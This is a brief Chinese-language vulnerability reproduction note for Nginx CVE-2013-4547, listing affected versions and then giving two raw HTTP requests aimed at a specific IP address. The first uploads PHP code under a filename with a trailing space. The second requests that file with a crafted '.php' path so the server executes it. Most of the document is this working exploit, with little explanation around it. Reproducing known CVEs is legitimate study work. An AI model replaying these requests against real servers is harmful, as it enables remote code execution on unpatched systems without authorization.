【Nginx】CVE-2013-4547

0x01

这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。

 

 

0x02

影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

 

0x03

复现

POST / HTTP/1.1
Host: 1.117.159.190:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------263339265541243091112724844462
Content-Length: 243
Origin: http://1.117.159.190:8080
Connection: close
Referer: http://1.117.159.190:8080/
Upgrade-Insecure-Requests: 1

-----------------------------263339265541243091112724844462
Content-Disposition: form-data; name="file_upload"; filename="1.jpg "
Content-Type: image/jpeg

<?php phpinfo();?>
-----------------------------263339265541243091112724844462--

 

GET /uploadfiles/1.jpg .php HTTP/1.1
Host: 1.117.159.190:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1